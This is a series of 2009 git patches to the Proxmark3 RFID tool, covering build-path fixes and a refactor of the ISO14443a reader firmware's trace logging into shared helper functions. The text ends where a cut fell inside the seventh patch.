From 59936251ffa2fef71f48aa517ba8b3296a66dc18 Mon Sep 17 00:00:00 2001 From: bushing Date: Tue, 22 Dec 2009 13:05:32 +0000 Subject: [PATCH 01/16] remove some straggling files and fix paths in cockpit batch files --- client/windows.h | 0 cockpit/0setpath.bat | 4 +--- cockpit/3makewin.bat | 4 ++-- cockpit/4flashos.bat | 2 +- cockpit/prox.bat | 2 +- 5 files changed, 5 insertions(+), 7 deletions(-) delete mode 100644 client/windows.h diff --git a/client/windows.h b/client/windows.h deleted file mode 100644 index e69de29b..00000000 diff --git a/cockpit/0setpath.bat b/cockpit/0setpath.bat index 5010957b..096c7229 100644 --- a/cockpit/0setpath.bat +++ b/cockpit/0setpath.bat @@ -1,5 +1,3 @@ @echo off -set PATH=..\..\devkitARM\bin;..\..\devkitWIN\bin;%PATH% -set INCLUDE=..\..\devkitWIN\include -set LIB=..\..\devkitWIN\lib +set PATH=..\..\devkitARM\bin;%PATH% cmd.exe \ No newline at end of file diff --git a/cockpit/3makewin.bat b/cockpit/3makewin.bat index fa769860..0332f468 100644 --- a/cockpit/3makewin.bat +++ b/cockpit/3makewin.bat @@ -1,7 +1,7 @@ @echo off -cd ..\winsrc +cd ..\client @echo ************** -@echo *** winsrc *** +@echo *** client *** @echo ************** make %1 cd ..\cockpit diff --git a/cockpit/4flashos.bat b/cockpit/4flashos.bat index e17013fe..d1b794ae 100644 --- a/cockpit/4flashos.bat +++ b/cockpit/4flashos.bat @@ -1,3 +1,3 @@ @echo off REM these actually do the real work -..\winsrc\prox.exe os,fpga ..\armsrc\obj\osimage.s19 ..\armsrc\obj\fpgaimage.s19 +..\client\prox.exe os,fpga ..\armsrc\obj\osimage.s19 ..\armsrc\obj\fpgaimage.s19 diff --git a/cockpit/prox.bat b/cockpit/prox.bat index 4a543363..e0c5bf8d 100644 --- a/cockpit/prox.bat +++ b/cockpit/prox.bat @@ -1,2 +1,2 @@ @echo off -call ..\winsrc\prox %1 +call ..\client\prox %1 -- 2.39.5 From a665f74081aaaa3a02b6760776e19d388cb89704 Mon Sep 17 00:00:00 2001 From: "henryk@ploetzli.ch" Date: Tue, 22 Dec 2009 16:40:03 +0000 Subject: [PATCH 02/16] Use the interworking version of libgcc.a --- common/Makefile.common | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/Makefile.common b/common/Makefile.common index c2903a8f..66bdddab 100644 --- a/common/Makefile.common +++ b/common/Makefile.common @@ -33,7 +33,7 @@ PATHSEP=/ FLASH_TOOL=client/flasher DETECTED_OS=UNAME # You may/should set this in your environment -LIBGCC ?= $(shell $(CC) -print-libgcc-file-name) +LIBGCC ?= $(shell $(CC) -print-file-name=interwork/libgcc.a) else -- 2.39.5 From 55a69489cd8a437c13cf715248a4e6c200512941 Mon Sep 17 00:00:00 2001 From: "henryk@ploetzli.ch" Date: Tue, 22 Dec 2009 20:32:40 +0000 Subject: [PATCH 03/16] Properly exit usb thread (e.g. on Ctrl-D) --- client/proxmark3.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index 05c2fe2d..2e8ef418 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -44,11 +44,11 @@ static void *usb_receiver(void *targ) { static void *main_loop(void *targ) { struct main_loop_arg *arg = (struct main_loop_arg*)targ; + struct usb_receiver_arg rarg; char *cmd = NULL; pthread_t reader_thread; if (arg->usb_present == 1) { - struct usb_receiver_arg rarg; rarg.run=1; pthread_create(&reader_thread, NULL, &usb_receiver, &rarg); } @@ -67,6 +67,11 @@ static void *main_loop(void *targ) break; } } + + if (arg->usb_present == 1) { + rarg.run = 0; + pthread_join(reader_thread, NULL); + } ExitGraphics(); pthread_exit(NULL); -- 2.39.5 From 5ed2c738ed5b4357617ad5f54cc716ef5ae01182 Mon Sep 17 00:00:00 2001 From: bushing Date: Sun, 27 Dec 2009 23:27:29 +0000 Subject: [PATCH 04/16] fix Mac build to use Qt framework (e.g. http://get.qt.nokia.com/qt/source/qt-mac-cocoa-opensource-4.6.0.dmg) --- client/Makefile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/Makefile b/client/Makefile index 007bb4b6..2d516ac7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -11,15 +11,15 @@ CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) ifeq ($(shell uname),Darwin) -CXXFLAGS += -arch i386 -DQ_WS_MAC32 -CFLAGS += -arch i386 -QTLDLIBS += -arch i386 +CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers +QTLDLIBS = -framework QtGui -framework QtCore +MOC = moc endif ifneq ($(QTLDLIBS),) QTGUI = proxgui.o proxguiqt.o proxguiqt.moc.o CFLAGS += -DHAVE_GUI -MOC = $(shell pkg-config --variable=moc_location QtCore) +MOC ?= $(shell pkg-config --variable=moc_location QtCore) LINK.o = $(LINK.cpp) else QTGUI = guidummy.o -- 2.39.5 From 249deb42a0e044337a14f74d0a032b340aaaf68b Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Mon, 28 Dec 2009 00:15:38 +0000 Subject: [PATCH 05/16] cleaning up endless copy-paste of trace functionality --- client/Makefile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/Makefile b/client/Makefile index 2d516ac7..8786701f 100644 --- a/client/Makefile +++ b/client/Makefile @@ -11,11 +11,11 @@ CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) ifeq ($(shell uname),Darwin) -CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers -QTLDLIBS = -framework QtGui -framework QtCore -MOC = moc +CXXFLAGS += -DQ_WS_MAC32 +CFLAGS += +QTLDLIBS += endif - +QTLDLIBS= ifneq ($(QTLDLIBS),) QTGUI = proxgui.o proxguiqt.o proxguiqt.moc.o CFLAGS += -DHAVE_GUI -- 2.39.5 From d24438f85c6549479b7ca00e1096c1a7cde15e5b Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Mon, 28 Dec 2009 00:16:05 +0000 Subject: [PATCH 06/16] cleaning up endless copy-paste of trace functionality --- armsrc/iso14443a.c | 338 +++++++++++++++++++-------------------------- 1 file changed, 139 insertions(+), 199 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index dbada076..a02d7d42 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -7,6 +7,10 @@ #include "apps.h" #include "../common/iso14443_crc.c" +static BYTE *trace = (BYTE *) BigBuf; +static int traceLen = 0; +static int rsamples = 0; + typedef enum { SEC_D = 1, SEC_E = 2, @@ -16,6 +20,42 @@ typedef enum { SEC_Z = 6 } SecType; +static const BYTE OddByteParity[256] = { + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 +}; + +//----------------------------------------------------------------------------- +// Generate the parity value for a byte sequence +// +//----------------------------------------------------------------------------- +DWORD GetParity(const BYTE * pbtCmd, int iLen) +{ + int i; + DWORD dwPar = 0; + + // Generate the encrypted data + for (i = 0; i < iLen; i++) { + // Save the encrypted parity bit + dwPar |= ((OddByteParity[pbtCmd[i]]) << i); + } + return dwPar; +} + //----------------------------------------------------------------------------- // The software UART that receives commands from the reader, and its state // variables. @@ -538,8 +578,8 @@ void SnoopIso14443a(void) // As we receive stuff, we copy it from receivedCmd or receivedResponse // into trace, along with its length and other annotations. - BYTE *trace = (BYTE *)BigBuf; - int traceLen = 0; + //BYTE *trace = (BYTE *)BigBuf; + //int traceLen = 0; // The DMA buffer, used to stream samples from the FPGA SBYTE *dmaBuf = ((SBYTE *)BigBuf) + DMA_BUFFER_OFFSET; @@ -834,6 +874,27 @@ static void CodeStrangeAnswer() //ToSendMax += 2; } +int LogTrace(const BYTE * btBytes, int iLen, int iSamples, DWORD dwParity, BOOL bReader) +{ + // Trace the random, i'm curious + rsamples += iSamples; + trace[traceLen++] = ((rsamples >> 0) & 0xff); + trace[traceLen++] = ((rsamples >> 8) & 0xff); + trace[traceLen++] = ((rsamples >> 16) & 0xff); + trace[traceLen++] = ((rsamples >> 24) & 0xff); + if (!bReader) { + trace[traceLen - 1] |= 0x80; + } + trace[traceLen++] = ((dwParity >> 0) & 0xff); + trace[traceLen++] = ((dwParity >> 8) & 0xff); + trace[traceLen++] = ((dwParity >> 16) & 0xff); + trace[traceLen++] = ((dwParity >> 24) & 0xff); + trace[traceLen++] = iLen; + memcpy(trace + traceLen, btBytes, iLen); + traceLen += iLen; + return (traceLen < TRACE_LENGTH); +} + //----------------------------------------------------------------------------- // Wait for commands from reader // Stop when button is pressed @@ -1473,6 +1534,8 @@ static BOOL GetIso14443aAnswerFromTag(BYTE *receivedResponse, int maxLen, int *s } } + + //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // @@ -1531,9 +1594,10 @@ void ReaderIso14443a(DWORD parameter) BYTE *receivedAnswer = (((BYTE *)BigBuf) + 3560); // was 3560 - tied to other size changes - BYTE *trace = (BYTE *)BigBuf; - int traceLen = 0; - int rsamples = 0; + //BYTE *trace = (BYTE *)BigBuf; + //int traceLen = 0; + //int rsamples = 0; + traceLen = 0; memset(trace, 0x44, 2000); // was 2000 - tied to oter size chnages // setting it to 3000 causes no tag responses to be detected (2900 is ok) @@ -1588,229 +1652,105 @@ void ReaderIso14443a(DWORD parameter) int wait = 0; int elapsed = 0; - for(;;) { + while(1) { // Send WUPA (or REQA) TransmitFor14443a(req1, req1Len, &tsamples, &wait); - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 1; - memcpy(trace+traceLen, cmd1, 1); - traceLen += 1; - if(traceLen > TRACE_LENGTH) goto done; - - while(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - if(BUTTON_PRESS()) goto done; - - // No answer, just continue polling - TransmitFor14443a(req1, req1Len, &tsamples, &wait); - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 1; - memcpy(trace+traceLen, cmd1, 1); - traceLen += 1; - if(traceLen > TRACE_LENGTH) goto done; - } - // Store answer in buffer - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; - - // Ask for card UID - TransmitFor14443a(req2, req2Len, &tsamples, &wait); - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 2; - memcpy(trace+traceLen, cmd2, 2); - traceLen += 2; - if(traceLen > TRACE_LENGTH) goto done; - - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - continue; - } + // Store reader command in buffer + if (!LogTrace(cmd1,1,0,GetParity(cmd1,1),TRUE)) break; + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + + // Log the ATQA + if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; - // Store answer in buffer - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; + // Store reader command in buffer + if (!LogTrace(cmd2,2,0,GetParity(cmd2,2),TRUE)) break; + TransmitFor14443a(req2, req2Len, &samples, &wait); + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + + // Log the uid + if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + // Construct SELECT UID command // First copy the 5 bytes (Mifare Classic) after the 93 70 memcpy(cmd3+2,receivedAnswer,5); // Secondly compute the two CRC bytes at the end ComputeCrc14443(CRC_14443_A, cmd3, 7, &cmd3[7], &cmd3[8]); - // Prepare the bit sequence to modulate the subcarrier - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 9; - memcpy(trace+traceLen, cmd3, 9); - traceLen += 9; - if(traceLen > TRACE_LENGTH) goto done; + + // Store reader command in buffer + if (!LogTrace(cmd3,9,0,GetParity(cmd5,9),TRUE)) break; + CodeIso14443aAsReader(cmd3, sizeof(cmd3)); memcpy(req3, ToSend, ToSendMax); req3Len = ToSendMax; // Select the card TransmitFor14443a(req3, req3Len, &samples, &wait); - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - continue; - } + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; - // Store answer in buffer - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; - -// OK we have selected at least at cascade 1, lets see if first byte of UID was 0x88 in -// which case we need to make a cascade 2 request and select - this is a long UID + // Log the SAK + if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; + + // OK we have selected at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID if (receivedAnswer[0] == 0x88) { - // Do cascade level 2 stuff - /////////////////////////////////////////////////////////////////// - // First issue a '95 20' identify request - // Ask for card UID (part 2) - TransmitFor14443a(req4, req4Len, &tsamples, &wait); - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 2; - memcpy(trace+traceLen, cmd4, 2); - traceLen += 2; - if(traceLen > TRACE_LENGTH) { - DbpString("Bugging out, just popped tracelength"); - goto done;} - - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - continue; - } - // Store answer in buffer - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; - ////////////////////////////////////////////////////////////////// - // Then Construct SELECT UID (cascasde 2) command - DbpString("Just about to copy the UID out of the cascade 2 id req"); - // First copy the 5 bytes (Mifare Classic) after the 95 70 - memcpy(cmd5+2,receivedAnswer,5); - // Secondly compute the two CRC bytes at the end - ComputeCrc14443(CRC_14443_A, cmd4, 7, &cmd5[7], &cmd5[8]); - // Prepare the bit sequence to modulate the subcarrier - // Store answer in buffer - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 9; - memcpy(trace+traceLen, cmd5, 9); - traceLen += 9; - if(traceLen > TRACE_LENGTH) goto done; - CodeIso14443aAsReader(cmd5, sizeof(cmd5)); - memcpy(req5, ToSend, ToSendMax); req5Len = ToSendMax; - - // Select the card - TransmitFor14443a(req4, req4Len, &samples, &wait); - if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - continue; - } - - // Store answer in buffer - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; - + // Do cascade level 2 stuff + /////////////////////////////////////////////////////////////////// + // First issue a '95 20' identify request + // Ask for card UID (part 2) + TransmitFor14443a(req4, req4Len, &tsamples, &wait); + + // Store reader command in buffer + if (!LogTrace(cmd4,2,0,GetParity(cmd4,2),TRUE)) break; + + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + + ////////////////////////////////////////////////////////////////// + // Then Construct SELECT UID (cascasde 2) command + DbpString("Just about to copy the UID out of the cascade 2 id req"); + // First copy the 5 bytes (Mifare Classic) after the 95 70 + memcpy(cmd5+2,receivedAnswer,5); + // Secondly compute the two CRC bytes at the end + ComputeCrc14443(CRC_14443_A, cmd4, 7, &cmd5[7], &cmd5[8]); + + // Store reader command in buffer + if (!LogTrace(cmd5,9,0,GetParity(cmd5,9),TRUE)) break; + + CodeIso14443aAsReader(cmd5, sizeof(cmd5)); + memcpy(req5, ToSend, ToSendMax); req5Len = ToSendMax; + + // Select the card + TransmitFor14443a(req4, req4Len, &samples, &wait); + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + + // Log the SAK + if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; } // Secondly compute the two CRC bytes at the end ComputeCrc14443(CRC_14443_A, cmd7, 2, &cmd7[2], &cmd7[3]); CodeIso14443aAsReader(cmd7, sizeof(cmd7)); memcpy(req7, ToSend, ToSendMax); req7Len = ToSendMax; + // Send authentication request (Mifare Classic) TransmitFor14443a(req7, req7Len, &samples, &wait); - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; trace[traceLen++] = 0; - trace[traceLen++] = 4; - memcpy(trace+traceLen, cmd7, 4); - traceLen += 4; - if(traceLen > TRACE_LENGTH) goto done; - if(GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) { - rsamples++; - // We received probably a random, continue and trace! - } - else { - // Received nothing - continue; - } + // Store reader command in buffer + if (!LogTrace(cmd7,4,0,GetParity(cmd7,4),TRUE)) break; - // Trace the random, i'm curious - rsamples = rsamples + (samples - Demod.samples); - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedAnswer, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) goto done; - - // Thats it... + if(!GetIso14443aAnswerFromTag(receivedAnswer, 100, &samples, &elapsed)) continue; + + // We received probably a random, continue and trace! + if (!LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE)) break; } -done: + // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); DbpIntegers(rsamples, 0xCC, 0xCC); -- 2.39.5 From 84c02e97e0925a44daece47ce19c265e22d5c772 Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Mon, 28 Dec 2009 17:21:50 +0000 Subject: [PATCH 07/16] iso14443a cleanup, cascade2 level working again --- armsrc/iso14443a.c | 548 ++++++++++++++++++++------------------------- 1 file changed, 242 insertions(+), 306 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index a02d7d42..d39fbdd4 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -39,6 +39,13 @@ static const BYTE OddByteParity[256] = { 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 }; +// BIG CHANGE - UNDERSTAND THIS BEFORE WE COMMIT +#define RECV_CMD_OFFSET 3032 +#define RECV_RES_OFFSET 3096 +#define DMA_BUFFER_OFFSET 3160 +#define DMA_BUFFER_SIZE 4096 +#define TRACE_LENGTH 3000 + //----------------------------------------------------------------------------- // Generate the parity value for a byte sequence // @@ -56,6 +63,35 @@ DWORD GetParity(const BYTE * pbtCmd, int iLen) return dwPar; } +static void AppendCrc14443a(BYTE* data, int len) +{ + ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1); +} + +BOOL LogTrace(const BYTE * btBytes, int iLen, int iSamples, DWORD dwParity, BOOL bReader) +{ + // Return when trace is full + if (traceLen >= TRACE_LENGTH) return FALSE; + + // Trace the random, i'm curious + rsamples += iSamples; + trace[traceLen++] = ((rsamples >> 0) & 0xff); + trace[traceLen++] = ((rsamples >> 8) & 0xff); + trace[traceLen++] = ((rsamples >> 16) & 0xff); + trace[traceLen++] = ((rsamples >> 24) & 0xff); + if (!bReader) { + trace[traceLen - 1] |= 0x80; + } + trace[traceLen++] = ((dwParity >> 0) & 0xff); + trace[traceLen++] = ((dwParity >> 8) & 0xff); + trace[traceLen++] = ((dwParity >> 16) & 0xff); + trace[traceLen++] = ((dwParity >> 24) & 0xff); + trace[traceLen++] = iLen; + memcpy(trace + traceLen, btBytes, iLen); + traceLen += iLen; + return TRUE; +} + //----------------------------------------------------------------------------- // The software UART that receives commands from the reader, and its state // variables. @@ -549,15 +585,6 @@ static BOOL ManchesterDecoding(int v) //----------------------------------------------------------------------------- void SnoopIso14443a(void) { - - // BIG CHANGE - UNDERSTAND THIS BEFORE WE COMMIT - - #define RECV_CMD_OFFSET 3032 - #define RECV_RES_OFFSET 3096 - #define DMA_BUFFER_OFFSET 3160 - #define DMA_BUFFER_SIZE 4096 - #define TRACE_LENGTH 3000 - // #define RECV_CMD_OFFSET 2032 // original (working as of 21/2/09) values // #define RECV_RES_OFFSET 2096 // original (working as of 21/2/09) values // #define DMA_BUFFER_OFFSET 2160 // original (working as of 21/2/09) values @@ -874,27 +901,6 @@ static void CodeStrangeAnswer() //ToSendMax += 2; } -int LogTrace(const BYTE * btBytes, int iLen, int iSamples, DWORD dwParity, BOOL bReader) -{ - // Trace the random, i'm curious - rsamples += iSamples; - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = ((rsamples >> 24) & 0xff); - if (!bReader) { - trace[traceLen - 1] |= 0x80; - } - trace[traceLen++] = ((dwParity >> 0) & 0xff); - trace[traceLen++] = ((dwParity >> 8) & 0xff); - trace[traceLen++] = ((dwParity >> 16) & 0xff); - trace[traceLen++] = ((dwParity >> 24) & 0xff); - trace[traceLen++] = iLen; - memcpy(trace + traceLen, btBytes, iLen); - traceLen += iLen; - return (traceLen < TRACE_LENGTH); -} - //----------------------------------------------------------------------------- // Wait for commands from reader // Stop when button is pressed @@ -1231,40 +1237,42 @@ ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); //----------------------------------------------------------------------------- static void TransmitFor14443a(const BYTE *cmd, int len, int *samples, int *wait) { - int c; - - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - - if(*wait < 10) { *wait = 10; } - - for(c = 0; c < *wait;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! - c++; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile DWORD r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); + int c; + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + + if (wait) + if(*wait < 10) + *wait = 10; + + for(c = 0; c < *wait;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! + c++; } - - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile DWORD r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + volatile DWORD r = AT91C_BASE_SSC->SSC_RHR; + (void)r; + } + WDT_HIT(); + } + + c = 0; + for(;;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = cmd[c]; + c++; + if(c >= len) { + break; + } } - *samples = (c + *wait) << 3; + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + volatile DWORD r = AT91C_BASE_SSC->SSC_RHR; + (void)r; + } + WDT_HIT(); + } + if (samples) *samples = (c + *wait) << 3; } //----------------------------------------------------------------------------- @@ -1351,11 +1359,11 @@ void ArbitraryFromReader(const BYTE *cmd, int parity, int len) // Code a 7-bit command without parity bit // This is especially for 0x26 and 0x52 (REQA and WUPA) //----------------------------------------------------------------------------- -void ShortFrameFromReader(const BYTE *cmd) +void 